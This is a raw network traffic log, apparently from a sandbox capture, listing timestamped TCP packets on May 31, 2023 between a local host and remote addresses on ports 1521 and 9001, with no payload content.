May 31, 2023 12:23:14.816406965 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.816443920 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.816472054 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.816498041 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.816523075 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.816529036 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.816549063 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.816585064 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.816610098 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.819880962 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.819917917 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.819974899 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.823357105 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823432922 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823460102 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823486090 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823494911 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.823512077 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823532104 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.823540926 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823568106 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823594093 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823601961 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.823621035 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823647976 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823657036 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.823673964 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823702097 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823704004 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.823729038 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823754072 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823781013 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.823781967 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823807955 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.823810101 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823837042 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823862076 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823885918 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.823896885 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.824014902 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.824482918 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.824532986 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.824583054 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.824594975 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.824625015 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.824654102 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.824671984 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.824680090 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.824695110 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.824707985 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.824737072 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.824769974 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.826284885 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.826674938 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:14.826844931 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.827658892 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.827692032 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.827718019 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.827744961 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.827755928 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.827805042 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.828629971 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.828696012 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.828731060 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.828758955 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.828792095 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.829855919 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.830213070 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.830360889 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.831156969 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.832210064 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832242966 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832288027 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832315922 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832329035 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.832344055 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832355976 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.832372904 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832380056 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.832398891 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.832406044 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832417011 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.832434893 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832485914 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.832882881 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832912922 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832940102 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832967997 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.832968950 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.832993984 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.832994938 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833022118 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833023071 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833053112 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833077908 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833081007 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833103895 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833105087 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833128929 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833132982 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833148956 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833163023 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833188057 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833189011 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833208084 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833234072 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833802938 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833830118 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833856106 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833880901 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833890915 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833926916 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833946943 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.833946943 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.833973885 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.834000111 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.834022999 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.834026098 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.834049940 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.834074020 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.836941004 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.836975098 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837003946 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837014914 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.837032080 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837048054 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.837048054 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.837071896 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.837136030 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837162971 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837188959 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837214947 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837223053 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.837243080 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837248087 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.837270021 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837291002 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.837296009 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837311983 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.837327003 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.837394953 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.845516920 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.845580101 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.845599890 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.845763922 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.845906973 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.845933914 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.845961094 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.845971107 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.845987082 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846014023 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846029997 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846039057 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846052885 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846069098 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846072912 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846087933 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846097946 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846127987 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846153021 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846155882 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846174002 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846184969 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846203089 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846215010 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846231937 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846244097 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846256971 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846271038 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846297026 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846303940 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846323967 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846324921 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846342087 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846352100 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846368074 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846379995 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846398115 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846410036 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846421957 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846436977 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846482992 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846518993 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846544981 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846565008 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846573114 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846591949 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846594095 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846611977 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846618891 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846647024 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846671104 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846676111 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846693039 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846705914 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846733093 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846734047 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846751928 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846760035 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846785069 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846786976 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846807003 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846812963 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846832037 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846844912 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.846862078 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.846895933 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.847877979 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.847908974 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.847935915 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.847949982 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.847965002 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.847976923 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.847992897 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.847995996 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.848014116 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.848021984 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.848045111 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.848050117 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.848067999 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.848078012 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.848092079 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.848130941 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.849389076 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.849426985 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.849457979 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.849487066 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.849514008 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.849519014 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.849544048 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.849545956 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.849560976 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.849572897 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.849597931 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.849620104 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.856280088 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856322050 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856352091 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856381893 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856405973 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856405973 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856412888 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856405973 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856442928 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856456041 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856471062 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856475115 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856487036 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856496096 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856523037 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856525898 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856539965 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856558084 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856570959 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856585026 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856606007 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856614113 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856628895 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856642962 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856657028 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856668949 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856688023 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856698990 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856713057 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856722116 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.856750011 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856863022 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856889963 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856915951 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856925011 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856944084 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856947899 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856971979 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.856977940 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.856998920 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857003927 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857016087 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857028008 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857050896 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857058048 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857072115 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857089043 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857101917 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857117891 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857134104 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857145071 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857161999 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857173920 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857191086 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857203960 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857220888 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857249022 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857743979 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857784986 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857811928 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857840061 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857857943 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857867002 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.857891083 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857901096 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857918978 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.857985020 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.858010054 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.858035088 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.858062983 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.858069897 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.858088970 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.858092070 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.858118057 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.858134031 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.860784054 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.860824108 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.860918045 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.861027002 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861056089 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861084938 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861113071 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861112118 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.861133099 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.861143112 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861169100 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.861172915 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861201048 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.861205101 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861228943 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.861234903 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861262083 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861284971 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.861289024 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861310959 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.861319065 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.861337900 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.863950968 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.865022898 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.865060091 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.865088940 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.865134001 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.865159988 CEST	49734	1521	192.168.2.6	188.138.112.60
May 31, 2023 12:23:14.865993023 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.866031885 CEST	1521	49734	188.138.112.60	192.168.2.6
